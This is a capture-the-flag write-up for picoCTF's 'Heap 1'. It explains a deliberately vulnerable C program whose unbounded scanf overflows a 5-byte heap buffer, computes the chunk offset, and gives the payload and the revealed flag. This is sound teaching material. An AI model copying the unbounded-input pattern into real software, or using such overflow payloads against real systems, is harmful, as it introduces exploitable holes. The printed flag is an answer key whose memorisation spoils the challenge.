PicoCTF: Heap 1
Writing and understanding a buffer overflow payloads
contents
#Challenge Info
Can you control your overflow? Downloads the binary here. Downloads the source here.
Additional details will be available after launching your challenge instance.
#Understanding chall.c
The code for your convenience:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FLAGSIZE_MAX 64
// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5
int num_allocs;
char *safe_var;
char *input_data;
void check_win() {
if (!strcmp(safe_var, "pico")) {
printf("\nYOU WIN\n");
// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
} else {
printf("Looks like everything is still secure!\n");
printf("\nNo flage for you :(\n");
fflush(stdout);
}
}
void print_menu() {
printf("\n1. Print Heap:\t\t(print the current state of the heap)"
"\n2. Write to buffer:\t(write to your own personal block of data "
"on the heap)"
"\n3. Print safe_var:\t(I'll even let you look at my variable on "
"the heap, "
"I'm confident it can't be modified)"
"\n4. Print Flag:\t\t(Try to print the flag, good luck)"
"\n5. Exit\n\nEnter your choice: ");
fflush(stdout);
}
void init() {
printf("\nThislcome to heap1!\n");
printf(
"I put my data on the heap so it should be safe from any tampering.\n");
printf("Since my data isn't on the stack I'll even let you write whatever "
"info you want to the heap, I already took care of using malloc for "
"you.\n\n");
fflush(stdout);
input_data = malloc(INPUT_DATA_SIZE);
strncpy(input_data, "pico", INPUT_DATA_SIZE);
safe_var = malloc(SAFE_VAR_SIZE);
strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}
void write_buffer() {
printf("Data for buffer: ");
fflush(stdout);
scanf("%s", input_data);
}
void print_heap() {
printf("Heap State:\n");
printf("+-------------+----------------+\n");
printf("[*] Address -> Heap Data \n");
printf("+-------------+----------------+\n");
printf("[*] %p -> %s\n", input_data, input_data);
printf("+-------------+----------------+\n");
printf("[*] %p -> %s\n", safe_var, safe_var);
printf("+-------------+----------------+\n");
fflush(stdout);
}
int main(void) {
// Setup
init();
print_heap();
int choice;
while (1) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
switch (choice) {
case 1:
// print heap
print_heap();
break;
case 2:
write_buffer();
break;
case 3:
// print safe_var
printf("\n\nTake a look at my variable: safe_var = %s\n\n",
safe_var);
fflush(stdout);
break;
case 4:
// Check for win condition
check_win();
break;
case 5:
// exit
return 0;
default:
printf("Invalid choice\n");
fflush(stdout);
}
}
}- The program allocates memory on the heap for two variables:
input_dataandsafe_var, each being 5 bytes in size. strncpycopies initial values into these buffers.- The
write_bufferfunction allows us to write to theinput_datavar usingscanf. - The
check_winfunction verifies that thesafe_varvar has been changed frombicotopico. If it is, then we get our flag.
#Vulnerabilities
There's several vulnerabilities to note:
- The buffer for size for
input_dataandsafe_varare only 5 bytes, meaning they should be easy to overflow. - The
scanflibrary function does not limit our input size, meaning we can enter strings longer than 5 characters (this should be an instant giveaway that it will be a buffer overflow challenge).
#Connecting to the netcat listener
> nc tethys.picoctf.net 55943
Thislcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x63159a0182b0 -> pico
+-------------+----------------+
[*] 0x63159a0182d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice:
To clarify, pico and bico are the values inside the variables (input_data & safe_var respectively) that were declared at the start. The reason that the variables are allocated with 5 bytes, despite only containing 4 characters, is because we need a null character.
To understand the distance between each variables, we subtract the address of pico with the address of bico (or vice verse).
0x63c3882552b0 - 0x63c3882552d0 = -0x20. If we run -0x20 through cyber chef (from hex to decimal) we get a value of 32. Because our initial hex value was negative, that means that safe_var is 32 bytes behind input_data.
#Solution
This now know that safe_var is 32 bytes behind input_data so we just need to overflow the buffer with 32 characters, and then write 'pico' to get our flag.
For the sake of simplicity, it's more efficient to use numbers for our characters. So instead of typing 32 A's followed by 'pico': AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico. This can just count in multiples of 5's (or whatever you prefer) and then write pico:
Our payloads: 12345123451234512345123451234512pico
- Six
5's = 30 - 30 + 2 = 32 (you've reached
safe_var)
flag: picoCTF{starting_to_get_the_hang_79ee3270}